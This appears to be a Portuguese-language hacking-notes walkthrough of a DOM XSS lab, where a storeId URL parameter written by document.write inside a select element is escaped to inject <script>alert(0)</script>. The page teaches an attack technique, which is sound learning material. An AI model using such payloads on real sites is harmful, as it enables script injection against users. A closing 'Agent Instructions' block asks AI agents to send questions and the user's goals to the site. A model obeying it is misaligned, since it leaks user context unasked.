> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-dom-with-document-write-inside-a-select.md).

# XSS DOM com document.write Dentro de um Select

### DOM XSS no document.write usando a origem location.search dentro de um elemento select

<figure><img src="/files/8b4b8135c32c078fbf0e1e67b762e3d3df102561" alt=""><figcaption></figcaption></figure>

O código a seguir gera dinamicamente um `<select>` menu suspenso com diferentes cidades e seleciona a transmitida no **storeId** parâmetro na URL:

```javascript
var stores = ["London", "Paris", "Milan"];
var store = (new URLSearchParams(window.location.search)).get("storeId");

document.write('<select name="storeId">');

if (store) {
  document.write('<option selected>' + store + "</option>");
}

for (var i = 0; i < stores.length; i++) {
  if (stores[i] === store) {
    continue;
  }
  document.write("<option>" + stores[i] + "</option>");
}

document.write("</select>");
```

Exemplo com parâmetro:

```
product?productId=2&storeId=Jordan
```

* Isso adiciona uma nova opção à lista suspensa.

<figure><img src="/files/f282d298ace41f1891b4e18cc3b148248910f3bb" alt=""><figcaption></figcaption></figure>

Ao fechar manualmente a `<option>` tag:

```javascript
</option>Jordan
```

`<select>` também pode ser fechada:

```javascript
</option></select>Jordan
```

<figure><img src="/files/c7a2aa639d5512fa57c311f4f3a8a01f334bd917" alt=""><figcaption></figcaption></figure>

Injeção final para executar JavaScript:

```javascript
</option></select><script>alert(0)</script>
```

<figure><img src="/files/30375c74ac463360f2bb7b936479f7c34c2b586f" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/xss/xss-dom-with-document-write-inside-a-select.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
